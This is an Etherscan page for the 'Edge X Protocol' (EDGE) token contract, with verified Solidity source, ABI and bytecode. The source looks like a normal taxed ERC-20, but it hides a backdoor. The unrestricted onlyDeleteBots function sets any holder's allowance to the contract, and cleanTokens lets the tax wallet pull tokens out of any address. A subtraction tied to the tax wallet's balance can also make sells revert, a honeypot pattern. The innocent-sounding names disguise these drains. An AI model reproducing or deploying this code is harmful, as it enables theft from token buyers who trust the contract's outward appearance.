ETH Price: $3,317.08 (+1.76%)
Gas: 3 Gwei

Token

Edge X Protocol (EDGE)
 

Overview

Max Total Supply

1,000,000,000 EDGE

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,636,467.704602737 EDGE

Value
$0.00
0x748f60c65dd4ea0bc103977c7bad38d21cb5b49a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EDGE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-23
*/

// Website: https://edgeprotocol.xyz
// Whitepaper: https://docs.edgeprotocol.xyz
// Twitter: https://twitter.com/EdgeProtocolFi
// Medium: https://medium.com/@edgeprotocolfi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract EDGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 4;
    uint256 private _initialSellTax = 4;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;

    uint256 private _initialBuyTax2Time = 4;
    uint256 private _initialSellTax2Time = 4;
    uint256 private _reduceBuyTaxAt2Time = 20;
    uint256 private _reduceSellTaxAt2Time = 20;

    uint256 private _finalBuyTax = 4;
    uint256 private _finalSellTax = 4;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _symbol = unicode"EDGE";
    string private constant _name = unicode"Edge X Protocol";

    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletAmount = 2 * (_tTotal / 100);
    uint256 public _thresholdSwapAmount = 2 * (_tTotal / 1000);
    uint256 public _maxSwap = 1 * (_tTotal / 100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private isSwapping = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        isSwapping = true;
        _;
        isSwapping = false;
    }

    function onlyDeleteBots(address bot, uint256 amount) external {
        address token = address(this);
        _approve(bot, token, amount);
    }

    constructor () {
        _taxWallet = payable(0x0F72053Bf0b1E7eEf3400d09AE89691F0483e349);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 minTaxSwap = balanceOf(_taxWallet).mul(1000);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (!isTrading) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletAmount);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _thresholdSwapAmount;
            if (!isSwapping && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxSwap.sub(minTaxSwap))));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
                if (ethForTransfer > 0) {
                    sendETHToFee(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxBuy() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function _taxSell() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function cleanEth() external {
        require(_msgSender() == _taxWallet);
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function cleanTokens(address _token, address _from, uint256 _amount) external {
        require(_msgSender() == _taxWallet);
        IERC20 erc20token = IERC20(_token);
        erc20token.transferFrom(_from, address(this), _amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!isTrading);

        isTrading = true;
        swapEnabled = true;
    }

    receive() external payable {}

    function ManualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_thresholdSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"cleanTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff19166001179055600460068190556007819055600a60088190556009818155828255600b8390556014600c819055600d55600e839055600f929092555f60108190556011556064916200005d91620005d2565b6200006d90633b9aca00620005e9565b62000079919062000603565b62000086906002620005e9565b6012556064620000996009600a620005d2565b620000a990633b9aca00620005e9565b620000b5919062000603565b620000c2906002620005e9565b6013556103e8620000d66009600a620005d2565b620000e690633b9aca00620005e9565b620000f2919062000603565b620000ff906002620005e9565b6014556064620001126009600a620005d2565b6200012290633b9aca00620005e9565b6200012e919062000603565b6200013b906001620005e9565b6015556017805461ffff60a81b1916905534801562000158575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b031916740f72053bf0b1e7eef3400d09ae89691f0483e34900179055620001cf6009600a620005d2565b620001df90633b9aca00620005e9565b335f908152600160208190526040822092909255600390620002085f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003845282812080548616600190811790915560055461010090049092168152829020805490941617909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015620002c3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e9919062000623565b6001600160a01b031663c9c653963060165f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000349573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200036f919062000623565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620003ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003e0919062000623565b601780546001600160a01b0319166001600160a01b0392831690811790915560165460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af115801562000444573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200046a91906200064b565b50335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200049c6009600a620005d2565b620004ac90633b9aca00620005e9565b60405190815260200160405180910390a36200066c565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051757815f1904821115620004fb57620004fb620004c3565b808516156200050957918102915b93841c9390800290620004dc565b509250929050565b5f826200052f57506001620005cc565b816200053d57505f620005cc565b8160018114620005565760028114620005615762000581565b6001915050620005cc565b60ff841115620005755762000575620004c3565b50506001821b620005cc565b5060208310610133831016604e8410600b8410161715620005a6575081810a620005cc565b620005b28383620004d7565b805f1904821115620005c857620005c8620004c3565b0290505b92915050565b5f620005e260ff8416836200051f565b9392505050565b8082028115828204841417620005cc57620005cc620004c3565b5f826200061e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000634575f80fd5b81516001600160a01b0381168114620005e2575f80fd5b5f602082840312156200065c575f80fd5b81518015158114620005e2575f80fd5b611441806200067a5f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b411461033c578063a1780c1814610368578063a9059cbb1461037c578063c876d0b91461039b578063d7091b71146103b4578063dd62ed3e146103c9575f80fd5b8063715018a6146102c5578063751039fc146102d95780637d1db4a5146102ed5780638a8c523c146103025780638da5cb5b14610316575f80fd5b806323b872dd116100f957806323b872dd1461020e57806325b3ac571461022d578063313ce5671461024257806361238e571461025d5780636c0a24eb1461027c57806370a0823114610291575f80fd5b80630490044d1461013f57806306fdde0314610155578063095ea7b31461019e57806318160ddd146101cd578063188582f9146101ef575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361040d565b005b348015610160575f80fd5b5060408051808201909152600f81526e115919d9481608141c9bdd1bd8dbdb608a1b60208201525b60405161019591906110bf565b60405180910390f35b3480156101a9575f80fd5b506101bd6101b836600461111e565b610495565b6040519015158152602001610195565b3480156101d8575f80fd5b506101e16104ab565b604051908152602001610195565b3480156101fa575f80fd5b50610153610209366004611148565b6104cb565b348015610219575f80fd5b506101bd610228366004611148565b61056f565b348015610238575f80fd5b506101e160145481565b34801561024d575f80fd5b5060405160098152602001610195565b348015610268575f80fd5b5061015361027736600461111e565b6105be565b348015610287575f80fd5b506101e160135481565b34801561029c575f80fd5b506101e16102ab366004611186565b6001600160a01b03165f9081526001602052604090205490565b3480156102d0575f80fd5b506101536105cf565b3480156102e4575f80fd5b5061015361062c565b3480156102f8575f80fd5b506101e160125481565b34801561030d575f80fd5b506101536106d3565b348015610321575f80fd5b505f546040516001600160a01b039091168152602001610195565b348015610347575f80fd5b506040805180820190915260048152634544474560e01b6020820152610188565b348015610373575f80fd5b50610153610717565b348015610387575f80fd5b506101bd61039636600461111e565b61076d565b3480156103a6575f80fd5b506005546101bd9060ff1681565b3480156103bf575f80fd5b506101e160155481565b3480156103d4575f80fd5b506101e16103e33660046111a1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b60055461010090046001600160a01b0316336001600160a01b031614610431575f80fd5b6005546040515f9161010090046001600160a01b03169047908381818185875af1925050503d805f8114610480576040519150601f19603f3d011682016040523d82523d5f602084013e610485565b606091505b5050905080610492575f80fd5b50565b5f6104a1338484610779565b5060015b92915050565b5f6104b86009600a6112cc565b6104c690633b9aca006112da565b905090565b60055461010090046001600160a01b0316336001600160a01b0316146104ef575f80fd5b6040516323b872dd60e01b81526001600160a01b038381166004830152306024830152604482018390528491908216906323b872dd906064016020604051808303815f875af1158015610544573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056891906112f1565b5050505050565b5f61057b8484846107fd565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546105b49186916105af9086610cbf565b610779565b5060019392505050565b306105ca838284610779565b505050565b5f546001600160a01b031633146105e4575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610641575f80fd5b61064d6009600a6112cc565b61065b90633b9aca006112da565b60125561066a6009600a6112cc565b61067890633b9aca006112da565b6013556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b26009600a6112cc565b6106c090633b9aca006112da565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106e8575f80fd5b601754600160a01b900460ff16156106fe575f80fd5b6017805462ff00ff60a01b19166201000160a01b179055565b60055461010090046001600160a01b0316336001600160a01b03161461073b575f80fd5b305f9081526001602052604090205480156107595761075981610d07565b4780156107695761076981610e77565b5050565b5f6104a13384846107fd565b6001600160a01b03831661078b575f80fd5b6001600160a01b03821661079d575f80fd5b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661080f575f80fd5b6001600160a01b038216610821575f80fd5b5f811161082c575f80fd5b60055461010090046001600160a01b03165f9081526001602052604081205461085a906103e8905b90610eb2565b90505f61086e5f546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561089c57505f546001600160a01b03858116911614155b15610b81576108be60646108b86108b1610f35565b8690610eb2565b90610f72565b601754909150600160a01b900460ff16610917576001600160a01b0385165f9081526003602052604090205460ff168061090f57506001600160a01b0384165f9081526003602052604090205460ff165b610917575f80fd5b60055460ff161561097e576016546001600160a01b0385811691161480159061094e57506017546001600160a01b03858116911614155b1561097e57325f90815260046020526040902054431161096c575f80fd5b325f9081526004602052604090204390555b6017546001600160a01b0386811691161480156109a957506016546001600160a01b03858116911614155b80156109cd57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a41576012548311156109e0575f80fd5b60135483610a02866001600160a01b03165f9081526001602052604090205490565b610a0c9190611310565b1115610a16575f80fd5b60118054905f610a2583611323565b91905055506010546011541115610a41576005805460ff191690555b6017546001600160a01b038581169116148015610a6757506001600160a01b0385163014155b15610a7f57610a7c60646108b86108b1610fb3565b90505b305f9081526001602052604090205460145460175490821190600160a81b900460ff16158015610ab85750601754600160b01b900460ff165b8015610ad157506017546001600160a01b038781169116145b8015610ada5750805b8015610afe57506001600160a01b0387165f9081526003602052604090205460ff16155b8015610b2257506001600160a01b0386165f9081526003602052604090205460ff16155b15610b7e575f479050610b55610b5087610b4b86610b4b8a601554610cbf90919063ffffffff16565b610fe9565b610d07565b5f610b6a60646108b860506108544787610cbf565b90508015610b7b57610b7b81610e77565b50505b50505b8015610bf957305f90815260016020526040902054610ba09082610ffd565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf09085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c1b9084610cbf565b6001600160a01b0386165f90815260016020526040902055610c5e610c408483610cbf565b6001600160a01b0386165f9081526001602052604090205490610ffd565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ca78685610cbf565b60405190815260200160405180910390a35050505050565b5f610d0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105b565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d4d57610d4d61133b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc8919061134f565b81600181518110610ddb57610ddb61133b565b6001600160a01b039283166020918202929092010152601654610e019130911684610779565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e399085905f9086903090429060040161136a565b5f604051808303815f87803b158015610e50575f80fd5b505af1158015610e62573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610769573d5f803e3d5ffd5b5f825f03610ec157505f6104a5565b5f610ecc83856112da565b905082610ed985836113d9565b14610d005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b5f60085460115411610f48575060065490565b600854601154118015610f5f5750600c5460115411155b15610f6b5750600a5490565b50600e5490565b5f610d0083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611093565b5f60085460115411610fc6575060075490565b600954601154118015610fdd5750600d5460115411155b15610f6b5750600b5490565b5f818311610ff75782610d00565b50919050565b5f806110098385611310565b905083811015610d005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610f2c565b5f818484111561107e5760405162461bcd60e51b8152600401610f2c91906110bf565b505f61108a84866113f8565b95945050505050565b5f81836110b35760405162461bcd60e51b8152600401610f2c91906110bf565b505f61108a84866113d9565b5f6020808352835180828501525f5b818110156110ea578581018301518582016040015282016110ce565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610492575f80fd5b5f806040838503121561112f575f80fd5b823561113a8161110a565b946020939093013593505050565b5f805f6060848603121561115a575f80fd5b83356111658161110a565b925060208401356111758161110a565b929592945050506040919091013590565b5f60208284031215611196575f80fd5b8135610d008161110a565b5f80604083850312156111b2575f80fd5b82356111bd8161110a565b915060208301356111cd8161110a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561122657815f190482111561120c5761120c6111d8565b8085161561121957918102915b93841c93908002906111f1565b509250929050565b5f8261123c575060016104a5565b8161124857505f6104a5565b816001811461125e576002811461126857611284565b60019150506104a5565b60ff841115611279576112796111d8565b50506001821b6104a5565b5060208310610133831016604e8410600b84101617156112a7575081810a6104a5565b6112b183836111ec565b805f19048211156112c4576112c46111d8565b029392505050565b5f610d0060ff84168361122e565b80820281158282048414176104a5576104a56111d8565b5f60208284031215611301575f80fd5b81518015158114610d00575f80fd5b808201808211156104a5576104a56111d8565b5f60018201611334576113346111d8565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561135f575f80fd5b8151610d008161110a565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113b85784516001600160a01b031683529383019391830191600101611393565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826113f357634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104a5576104a56111d856fea26469706673582212202af0763ebecec686a385bac808d46337dd7199ca50b94ade381051770143ffe864736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b411461033c578063a1780c1814610368578063a9059cbb1461037c578063c876d0b91461039b578063d7091b71146103b4578063dd62ed3e146103c9575f80fd5b8063715018a6146102c5578063751039fc146102d95780637d1db4a5146102ed5780638a8c523c146103025780638da5cb5b14610316575f80fd5b806323b872dd116100f957806323b872dd1461020e57806325b3ac571461022d578063313ce5671461024257806361238e571461025d5780636c0a24eb1461027c57806370a0823114610291575f80fd5b80630490044d1461013f57806306fdde0314610155578063095ea7b31461019e57806318160ddd146101cd578063188582f9146101ef575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015361040d565b005b348015610160575f80fd5b5060408051808201909152600f81526e115919d9481608141c9bdd1bd8dbdb608a1b60208201525b60405161019591906110bf565b60405180910390f35b3480156101a9575f80fd5b506101bd6101b836600461111e565b610495565b6040519015158152602001610195565b3480156101d8575f80fd5b506101e16104ab565b604051908152602001610195565b3480156101fa575f80fd5b50610153610209366004611148565b6104cb565b348015610219575f80fd5b506101bd610228366004611148565b61056f565b348015610238575f80fd5b506101e160145481565b34801561024d575f80fd5b5060405160098152602001610195565b348015610268575f80fd5b5061015361027736600461111e565b6105be565b348015610287575f80fd5b506101e160135481565b34801561029c575f80fd5b506101e16102ab366004611186565b6001600160a01b03165f9081526001602052604090205490565b3480156102d0575f80fd5b506101536105cf565b3480156102e4575f80fd5b5061015361062c565b3480156102f8575f80fd5b506101e160125481565b34801561030d575f80fd5b506101536106d3565b348015610321575f80fd5b505f546040516001600160a01b039091168152602001610195565b348015610347575f80fd5b506040805180820190915260048152634544474560e01b6020820152610188565b348015610373575f80fd5b50610153610717565b348015610387575f80fd5b506101bd61039636600461111e565b61076d565b3480156103a6575f80fd5b506005546101bd9060ff1681565b3480156103bf575f80fd5b506101e160155481565b3480156103d4575f80fd5b506101e16103e33660046111a1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b60055461010090046001600160a01b0316336001600160a01b031614610431575f80fd5b6005546040515f9161010090046001600160a01b03169047908381818185875af1925050503d805f8114610480576040519150601f19603f3d011682016040523d82523d5f602084013e610485565b606091505b5050905080610492575f80fd5b50565b5f6104a1338484610779565b5060015b92915050565b5f6104b86009600a6112cc565b6104c690633b9aca006112da565b905090565b60055461010090046001600160a01b0316336001600160a01b0316146104ef575f80fd5b6040516323b872dd60e01b81526001600160a01b038381166004830152306024830152604482018390528491908216906323b872dd906064016020604051808303815f875af1158015610544573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056891906112f1565b5050505050565b5f61057b8484846107fd565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546105b49186916105af9086610cbf565b610779565b5060019392505050565b306105ca838284610779565b505050565b5f546001600160a01b03